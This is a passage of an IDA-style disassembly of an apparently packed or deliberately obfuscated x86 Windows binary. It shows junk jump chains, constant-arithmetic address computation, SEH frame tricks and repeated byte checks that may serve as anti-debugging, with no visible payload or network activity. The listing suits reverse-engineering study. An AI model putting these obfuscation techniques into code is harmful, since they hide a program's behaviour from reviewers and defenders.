		xor	[ebp-8], eax
		inc	dword ptr [ebp-0Ch]
		jmp	loc_40FAAF
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C7AF


loc_409E2E:				; CODE XREF: sub_40C7AF+1836j
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_40C7AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409E32:				; CODE XREF: sub_40D740+CC4j
		jmp	loc_40F054
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_409E37	proc near		; CODE XREF: sub_40D740:loc_40D791p

; FUNCTION CHUNK AT 0040A721 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040C234 SIZE 00000005 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		jmp	loc_40A721
sub_409E37	endp

; ---------------------------------------------------------------------------


loc_409E4A:				; CODE XREF: o45kw3t9:0040C904j
		jnb	loc_40B7B8

; =============== S U B	R O U T	I N E =======================================



sub_409E50	proc near		; CODE XREF: o45kw3t9:loc_409156p

; FUNCTION CHUNK AT 0040E2A9 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		mov	[edx-8], eax
		jmp	loc_40E2A9
sub_409E50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_409E5C:				; CODE XREF: o45kw3t9:0040AD2Aj
		cmp	dword ptr [ebp-10h], 2
		jmp	loc_40CD95
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A91A


loc_409E66:				; CODE XREF: sub_40A91A+12j
		call	sub_409CCC
		add	eax, 0BB8h
		push	esi
		mov	esi, eax
		jmp	loc_40D434
; END OF FUNCTION CHUNK	FOR sub_40A91A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D368


loc_409E78:				; CODE XREF: o45kw3t9:loc_40A4DEj
					; sub_40D368+Bj
		pop	ebp
		call	sub_40A474


loc_409E7E:				; CODE XREF: sub_40E76D-2E71j
		jmp	loc_40D595
; END OF FUNCTION CHUNK	FOR sub_40D368
; ---------------------------------------------------------------------------


loc_409E83:				; CODE XREF: o45kw3t9:0040B50Bj
		jmp	loc_40C542
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_409E88:				; CODE XREF: sub_40A3A2+5BAEj
		jns	loc_40FAEE
; END OF FUNCTION CHUNK	FOR sub_40A3A2

; =============== S U B	R O U T	I N E =======================================



sub_409E8E	proc near		; CODE XREF: sub_40CC20:loc_40D66Ap

; FUNCTION CHUNK AT 0040CC5C SIZE 00000008 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jmp	loc_40CC5C
sub_409E8E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_409E97:				; CODE XREF: sub_40CC20-2A1Bj
					; sub_40EABC-1458j
		pop	ecx
		pop	ebp
		jmp	loc_40B888
; END OF FUNCTION CHUNK	FOR sub_40CC20

; =============== S U B	R O U T	I N E =======================================



sub_409E9E	proc near		; DATA XREF: o45kw3t9:loc_40C472o
		xor	edx, 0A9D75508h
		add	edx, ebp
		call	loc_40D8F3
sub_409E9E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_409726


loc_409EAB:				; CODE XREF: sub_409726+13BAj
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_409726
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BB73


loc_409EB1:				; CODE XREF: sub_40BB73+2Cj
		jmp	loc_40BACA
; END OF FUNCTION CHUNK	FOR sub_40BB73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409EB6:				; CODE XREF: sub_40D740-68j
		jnz	loc_40D7D1
		jmp	loc_410018
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_409EC1:				; CODE XREF: o45kw3t9:0040EFE4j
		jnp	sub_40CD0A

; =============== S U B	R O U T	I N E =======================================



sub_409EC7	proc near		; CODE XREF: sub_40980B+3D60p
		xchg	eax, [esp+0]
		pop	eax
		pop	ebp
		retn
sub_409EC7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_409ECD:				; CODE XREF: o45kw3t9:0040B4F7j
		jmp	loc_40FA40

; =============== S U B	R O U T	I N E =======================================



sub_409ED2	proc near		; CODE XREF: sub_40A551-8Fp
					; o45kw3t9:0040ADF2j

; FUNCTION CHUNK AT 0040A122 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004100B8 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		jmp	loc_40A122
sub_409ED2	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_409EE8:				; CODE XREF: sub_40B3E5+4A21j
		jmp	loc_40B8B7
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E858


loc_409EED:				; CODE XREF: sub_40E858+3j
		jmp	loc_40B6B5
; END OF FUNCTION CHUNK	FOR sub_40E858
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E562


loc_409EF2:				; CODE XREF: sub_40E562-4FE7j
		jmp	loc_40BCB5
; END OF FUNCTION CHUNK	FOR sub_40E562
; ---------------------------------------------------------------------------


loc_409EF7:				; DATA XREF: sub_40980B+1B1Fo
		push	0E17F16Dh
		pop	eax
		sub	eax, 0A7F989B0h
		or	eax, 0E63BAB99h
		add	eax, 2559DFF8h
		add	eax, ebp
		jmp	loc_40A8C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B43C


loc_409F16:				; CODE XREF: sub_40B43C:loc_40FBE8j
		mov	eax, ds:dword_40F1D4
		call	sub_40EC64


loc_409F20:				; CODE XREF: o45kw3t9:0040EAE5j
		jmp	nullsub_102
; END OF FUNCTION CHUNK	FOR sub_40B43C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409627


loc_409F25:				; CODE XREF: sub_409627+Fj
					; sub_40E577+Dj ...
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_409627
; ---------------------------------------------------------------------------


loc_409F28:				; CODE XREF: o45kw3t9:0040EE8Ej
		jmp	loc_40C5BB
; ---------------------------------------------------------------------------
		push	ebp
		push	offset loc_40D0BE
		jmp	loc_40B23A
; ---------------------------------------------------------------------------


loc_409F38:				; DATA XREF: o45kw3t9:0040A534o
		mov	esp, ebp
		pop	ebp
		push	ds:dword_40F1D4
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409F42	proc near		; CODE XREF: sub_40EC83:loc_40DD05p

; FUNCTION CHUNK AT 0040B669 SIZE 00000007 BYTES

		mov	eax, ds:dword_40CFE8
		call	sub_40ECBD


loc_409F4D:				; CODE XREF: sub_40FDD3+17j
		jmp	loc_40B669
sub_409F42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A5AE


loc_409F52:				; CODE XREF: sub_40A5AE:loc_40A5C2j
		jmp	loc_40C915
; END OF FUNCTION CHUNK	FOR sub_40A5AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_409F57:				; CODE XREF: sub_40A742:loc_40E6A5j
					; sub_40B5CB+30F1j
		xor	ebx, 9AE5A3EAh
		add	eax, ebx
		pop	ebx
		mov	eax, [eax]
		jmp	loc_409693
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409F67:				; CODE XREF: sub_40D740:loc_40C548j
		jnz	loc_40CAE9


loc_409F6D:				; CODE XREF: sub_40D740+2B08j
		jmp	loc_40B61C
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FF8D


loc_409F72:				; CODE XREF: sub_40FF8D+10j
		jmp	loc_40EB93
; END OF FUNCTION CHUNK	FOR sub_40FF8D
; ---------------------------------------------------------------------------
		jg	locret_40B57F
		jmp	loc_40B250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409F82:				; CODE XREF: sub_40D740:loc_40D982j
		push	4F3B1B44h
		and	edi, 24AA3247h
		jmp	loc_409434
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_409F92:				; CODE XREF: sub_40DA15:loc_40B580j
		jnz	loc_41026D
		jmp	loc_40FFC9
; END OF FUNCTION CHUNK	FOR sub_40DA15
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_409F9E:				; CODE XREF: sub_40943A+4A16j
		jmp	loc_40A6EB
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACAB


loc_409FA3:				; CODE XREF: sub_40ACAB+2878j
		jmp	loc_40CE03
; END OF FUNCTION CHUNK	FOR sub_40ACAB

; =============== S U B	R O U T	I N E =======================================



sub_409FA8	proc near		; CODE XREF: sub_40919D+8p
					; sub_40BD10:loc_40C3E6j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00409844 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004098E5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004099B7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00409DF5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409E01 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040A19D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A408 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040AA0C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040AD95 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040B05E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040B2DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C16E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040C827 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CA9A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D3BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D68D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040DD17 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040E134 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E30B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040E946 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040EB4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EE00 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040EE93 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040F1E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004101B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410292 SIZE 0000000B BYTES

		push	9144F582h
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40D3BD
sub_409FA8	endp

; ---------------------------------------------------------------------------
		shl	ebx, 9
		jmp	loc_40FE14
; ---------------------------------------------------------------------------

locret_409FC0:				; CODE XREF: o45kw3t9:0040F189j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CB50


loc_409FC1:				; CODE XREF: sub_40CB50+Cj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40CB50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_409FC3:				; CODE XREF: sub_40B76E+274j
		jmp	loc_4102CF
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_409FC8:				; CODE XREF: sub_40F02A-5AD7j
					; sub_40F02A+A91j
		call	sub_40F02A


loc_409FCD:				; CODE XREF: o45kw3t9:00409C79j
		xchg	ebp, [edx]
; END OF FUNCTION CHUNK	FOR sub_40F02A

; =============== S U B	R O U T	I N E =======================================



sub_409FCF	proc near		; CODE XREF: o45kw3t9:00409A79p
		mov	[esp+0], esi
		pop	esi
		cmp	byte ptr [eax],	0F1h
		jmp	loc_40CFB9
sub_409FCF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	edx, 0B03F2C20h
		jmp	loc_40B148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D394


loc_409FE6:				; CODE XREF: sub_40D394+12j
		cmp	dword ptr [ebp-4], 0
		push	offset loc_40B3C7
		jmp	loc_40BAD8
; END OF FUNCTION CHUNK	FOR sub_40D394
; ---------------------------------------------------------------------------


loc_409FF4:				; CODE XREF: o45kw3t9:0040B725j
		jnz	loc_40CF42
		jmp	loc_40D20A
; ---------------------------------------------------------------------------


loc_409FFF:				; CODE XREF: o45kw3t9:0040A0F1j
		jnz	loc_40B677
		jmp	loc_40B838
; ---------------------------------------------------------------------------
		cmp	ebx, 2996FA82h
		jmp	loc_40BD0A
; ---------------------------------------------------------------------------


loc_40A015:				; DATA XREF: sub_40A551+254o
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40A017:				; CODE XREF: o45kw3t9:004095C2j
		jmp	loc_40B0E1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A01C	proc near		; CODE XREF: o45kw3t9:loc_40A79Bp
					; sub_40AEC0:loc_40B34Cp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004091E7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040B670 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FD8F SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		jmp	loc_40B670
sub_40A01C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D32E


loc_40A028:				; CODE XREF: sub_40D32E+1416j
		jmp	loc_40FFD8
; END OF FUNCTION CHUNK	FOR sub_40D32E
; ---------------------------------------------------------------------------
		ror	eax, 12h
		jmp	loc_40E560
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40A035:				; CODE XREF: sub_40D740+10j
		ror	esi, 1Fh


loc_40A038:				; CODE XREF: sub_40D740:loc_40D866j
		push	0EE28DB6h
		pop	eax
		add	eax, 5FBA1517h
		sub	eax, 1C27049Bh
		add	eax, 31F0FE2Fh
		add	eax, ebp
		add	eax, 7B99639Bh
		jmp	loc_4100EC
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40A05D	proc near		; CODE XREF: o45kw3t9:00409112p

; FUNCTION CHUNK AT 0040C5D1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004100BD SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		mov	ecx, [esp+0]
		mov	[ebp-4], eax
		push	0A6FDDCD1h
		pop	eax
		and	eax, ds:4000B2h
		add	eax, 0F0DD099Dh
		jmp	loc_4100BD
sub_40A05D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A07D:				; CODE XREF: o45kw3t9:loc_40FC95j
		mov	[ebp-4], eax
		push	2C9CB57Eh
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		add	eax, 4CB8FFFDh
		add	eax, ebp
		jmp	loc_40B883
; ---------------------------------------------------------------------------


loc_40A098:				; DATA XREF: sub_40D740:loc_4094A4o
		js	loc_40C8BA
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_40CDA7
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax
		jmp	loc_40A82F
; ---------------------------------------------------------------------------


loc_40A0B8:				; DATA XREF: sub_409674:loc_40FB0Fo
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al
		jmp	loc_40CC93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40A0CA:				; CODE XREF: sub_40ABFA:loc_40B69Dj
		mov	eax, [ebp+8]
		jmp	loc_40DF3D
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; ---------------------------------------------------------------------------
		or	edx, 7A2960E8h
		jmp	sub_409925
; ---------------------------------------------------------------------------


loc_40A0DD:				; DATA XREF: sub_40D740-C51o
		add	eax, ebp
		add	eax, 0B72E23D1h
		mov	eax, [eax]
		cmp	dword ptr [eax+3Ch], 0
		jz	loc_40D569
		jmp	loc_409FFF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40A0F7:				; CODE XREF: sub_40A742:loc_40B202j
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		push	offset loc_40D4D3
		jmp	loc_40C69B
; END OF FUNCTION CHUNK	FOR sub_40A742

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A107	proc near		; CODE XREF: sub_40D70E+6p

; FUNCTION CHUNK AT 00409513 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004099CC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00409CC2 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	0CDE93D08h


loc_40A113:				; CODE XREF: o45kw3t9:loc_40D262j
		jmp	loc_4099CC
sub_40A107	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BFBB


loc_40A118:				; CODE XREF: sub_40BFBB:loc_40D6A6j
		push	offset loc_40EBDC
		jmp	nullsub_48
; END OF FUNCTION CHUNK	FOR sub_40BFBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409ED2


loc_40A122:				; CODE XREF: sub_409ED2+10j
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		push	offset loc_40C14A
		jmp	loc_4100B8
; END OF FUNCTION CHUNK	FOR sub_409ED2

; =============== S U B	R O U T	I N E =======================================



sub_40A135	proc near		; DATA XREF: sub_40B160+1928o

; FUNCTION CHUNK AT 0040901A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004090E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BF72 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040E14B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040E487 SIZE 00000005 BYTES

		cmp	byte ptr [eax],	0
		jnz	loc_40901A
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		jmp	loc_40BF72
sub_40A135	endp

; ---------------------------------------------------------------------------
		shl	edi, 14h
		jmp	sub_40BD84
; ---------------------------------------------------------------------------
		pushf
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40FC95
; ---------------------------------------------------------------------------


loc_40A15D:				; CODE XREF: o45kw3t9:0040CB45j
		jle	loc_409920
		test	eax, 786DD236h
		jmp	loc_4100C2
; ---------------------------------------------------------------------------


loc_40A16E:				; CODE XREF: o45kw3t9:0040B4DBj
		xor	ebp, ebx

; =============== S U B	R O U T	I N E =======================================



sub_40A170	proc near		; CODE XREF: sub_40E543-20BDp

; FUNCTION CHUNK AT 0040E13F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040EDD6 SIZE 0000000E BYTES

		mov	[esp+0], ebx
		pop	ebx
		or	edx, edx
		call	sub_40BFBB


loc_40A17B:				; CODE XREF: sub_40A6F8-1672j
		jmp	loc_40E13F
sub_40A170	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; DATA XREF: sub_409AD7:loc_40BA6Fo

; FUNCTION CHUNK AT 0040977F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AAB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C94F SIZE 00000010 BYTES

		add	eax, ebp
		add	eax, 7B2A3B53h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_40AAB0
sub_40A180	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40A192:				; CODE XREF: sub_40A3A2:loc_40C4C3j
		jnz	loc_40DB6F
		jmp	loc_40CC53
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40A19D:				; CODE XREF: sub_409FA8:loc_40F1E1j
		jz	loc_40A40E
		jmp	loc_40E30B
; END OF FUNCTION CHUNK	FOR sub_409FA8

; =============== S U B	R O U T	I N E =======================================



sub_40A1A8	proc near		; DATA XREF: sub_40B3E5+1526o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0040BA3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E1FD SIZE 00000014 BYTES

		mov	eax, [ebp-4]
		push	eax
		push	esi
		push	0A863C8C9h
		pop	esi


loc_40A1B3:				; CODE XREF: sub_4097FC+1331j
		jmp	loc_40BA3E
sub_40A1A8	endp

; ---------------------------------------------------------------------------


loc_40A1B8:				; CODE XREF: o45kw3t9:0040CF75j
		jz	loc_40C210
		jmp	loc_40FFA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40A1C3:				; CODE XREF: sub_40D740+13Dj
		jz	loc_40A5C2
		jnp	loc_40B93E
		adc	edx, 0E3CE9C6Ah
		sbb	ebx, ecx
		jmp	loc_40B1F7
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E893


loc_40A1DC:				; CODE XREF: sub_40E893:loc_40F9F8j
		jnz	loc_40E0BF
		jmp	loc_40B01E
; END OF FUNCTION CHUNK	FOR sub_40E893
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40A1E7:				; CODE XREF: sub_40CC20-2A15j
		jz	loc_40D66A
		jmp	loc_40A780
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EFF0


loc_40A1F2:				; CODE XREF: sub_40EFF0-9DDj
		jnz	loc_40D6B6
		jmp	loc_40D124
; END OF FUNCTION CHUNK	FOR sub_40EFF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40A1FD:				; CODE XREF: sub_40CC20+E4Aj
		mov	[eax], esi


loc_40A1FF:				; CODE XREF: o45kw3t9:loc_40B0E1j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_409E97
		jmp	loc_40A1E7
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------


loc_40A210:				; DATA XREF: sub_40942A+2D2o
		xor	eax, 0E5560A99h
		add	eax, ebp
		call	sub_40F0A8
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40A21D:				; CODE XREF: sub_40988C+421Fj
		jnz	loc_40EBA2
		jmp	loc_40FBED
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
		xchg	edi, [eax]
		test	esi, 631FFA79h
		jmp	loc_40C270

; =============== S U B	R O U T	I N E =======================================



sub_40A235	proc near		; CODE XREF: o45kw3t9:0040DDB1p
					; sub_40B1B3:loc_40EF86p

; FUNCTION CHUNK AT 0040B6E6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040B832 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FCA9 SIZE 00000006 BYTES

		mov	eax, cs


loc_40A237:				; CODE XREF: o45kw3t9:loc_40D4C6j
		push	offset loc_40B6E6
		retn
sub_40A235	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40A23D:				; CODE XREF: sub_40CC20:loc_40C145j
		jmp	loc_40FD52
; ---------------------------------------------------------------------------


loc_40A242:				; CODE XREF: sub_40CC20:loc_40CC41j
					; DATA XREF: sub_409121+6o
		call	sub_40C298
		call	sub_40FC1D
		or	eax, eax
		jnz	loc_40EA0F
		jmp	loc_40CD23
; END OF FUNCTION CHUNK	FOR sub_40CC20

; =============== S U B	R O U T	I N E =======================================



sub_40A259	proc near		; CODE XREF: sub_40D740+19Cp
					; o45kw3t9:0040E596j

; FUNCTION CHUNK AT 00409205 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040925E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004094F3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040996F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00409C09 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040B2E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B90D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040BEED SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0040C289 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C878 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040D429 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040DA30 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E6E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC72 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040FAC6 SIZE 00000014 BYTES

		mov	[esp+0], eax
		pop	eax
		movzx	eax, byte ptr [eax]


loc_40A260:				; CODE XREF: sub_409726:loc_40D41Cj
		shr	eax, 1
		jmp	loc_40B2E4
sub_40A259	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D179


loc_40A267:				; CODE XREF: sub_40D179:loc_40E646j
		mov	eax, [eax+0Ch]


loc_40A26A:				; CODE XREF: o45kw3t9:0040BA91j
					; sub_40E650:loc_40E658j
		jns	loc_410146
		mov	ebx, [eax+18h]
		push	offset loc_40AE18
		jmp	loc_40C4C8
; END OF FUNCTION CHUNK	FOR sub_40D179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40A27D:				; CODE XREF: sub_40AD7A:loc_40BFB6j
		jz	loc_40C3F9
		jmp	loc_40BD6A
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------


loc_40A288:				; CODE XREF: o45kw3t9:0040ADAAj
		call	sub_40AD44
; START	OF FUNCTION CHUNK FOR sub_4097FC


loc_40A28D:				; CODE XREF: sub_4097FC+43F9j
		jmp	loc_40EE3E
; END OF FUNCTION CHUNK	FOR sub_4097FC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40A293:				; CODE XREF: o45kw3t9:0040BE29j
		jnz	loc_40C145

; =============== S U B	R O U T	I N E =======================================



sub_40A299	proc near		; CODE XREF: sub_410153:loc_40D475p

; FUNCTION CHUNK AT 00409DA0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040B9A2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040BBE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BC76 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040C490 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C95F SIZE 0000000B BYTES

		mov	[esp+0], edi
		pop	edi
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_40B9A2
sub_40A299	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40A2AB:				; CODE XREF: sub_40D740-1877j
		xchg	ecx, ebp
		and	ebx, 3900CD7Eh
		jmp	loc_40BAA6
; END OF FUNCTION CHUNK	FOR sub_40D740
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409472


loc_40A2B9:				; CODE XREF: sub_409472+23F2j
		call	sub_40C298


loc_40A2BE:				; CODE XREF: sub_409472:loc_40934Fj
					; sub_40C5B0+2944j
		mov	eax, ds:dword_40E52C
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		jmp	loc_40C287
; END OF FUNCTION CHUNK	FOR sub_409472
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D70E


loc_40A2D0:				; CODE XREF: sub_40D70E:loc_40E09Fj
		push	eax
		call	sub_410090
; END OF FUNCTION CHUNK	FOR sub_40D70E
